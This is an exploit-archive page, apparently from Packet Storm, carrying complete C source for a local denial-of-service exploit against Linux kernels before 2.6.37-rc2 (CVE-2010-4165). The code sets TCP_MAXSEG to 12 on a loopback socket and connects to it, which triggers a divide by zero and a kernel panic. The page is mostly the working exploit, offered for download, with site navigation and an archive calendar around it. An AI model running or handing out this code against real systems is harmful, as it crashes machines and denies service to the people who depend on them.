exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service
Posted Mar 10, 2011
Authored by zx2c4

Linux kernel versions prior to 2.6.37-rc2 TCP_MAXSEG kernel panic denial of service exploit that triggers a divide by zero error in net/ipv4/tcp.c.

tags | exploit, denial of service, kernel, tcp
systems | linux
advisories | CVE-2010-4165
SHA-256 | a828b90c5c0bad6750f1b7c65f1a2de7ed95c1f80ad18127d00d539bc776fa31

Linux Kernel 2.6 TCP_MAXSEG Denial Of Service

Change Mirror Download
/*
* TCP_MAXSEG Kernel Panic DoS for Linux < 2.6.37-rc2
* by zx2c4
*
* This exploit triggers CVE-2010-4165, a divide by zero
* error in net/ipv4/tcp.c. Because this is on the softirq
* path, the kernel oopses and then completely dies with
* no chance of recovery. It has been very reliable as a
* DoS, but is not useful for triggering other bugs.
*
* -zx2c4, 28-2-2011
*/

#include <stdio.h>
#include <string.h>
#include <sys/socket.h>
#include <net/if.h>
#include <arpa/inet.h>
#include <netinet/tcp.h>

int main()
{
struct sockaddr_in laddr;
memset(&laddr, 0, sizeof(laddr));
laddr.sin_family = AF_INET;
laddr.sin_addr.s_addr = inet_addr("127.0.0.1");
laddr.sin_port = htons(31337);
int listener = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (listener < 0) {
printf("[-] Could not open listener.\n");
return -1;
}
int val = 12;
if (setsockopt(listener, IPPROTO_TCP, TCP_MAXSEG, &val, sizeof(val)) < 0) {
printf("[-] Could not set sockopt.\n");
return -1;
}
if (bind(listener, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not bind to address.\n");
return -1;
}
if (listen(listener, 1) < 0) {
printf("[-] Could not listen.\n");
return -1;
}
int hello = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (hello < 0) {
printf("[-] Could not open connector.\n");
return -1;
}
if (connect(hello, (struct sockaddr*)&laddr, sizeof(struct sockaddr)) < 0) {
printf("[-] Could not connect to listener.\n");
return -1;
}
printf("[-] Connection did not trigger oops.\n");
return 0;
}

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    21 Files
  • 17
    Sep 17th
    51 Files
  • 18
    Sep 18th
    23 Files
  • 19
    Sep 19th
    48 Files
  • 20
    Sep 20th
    36 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close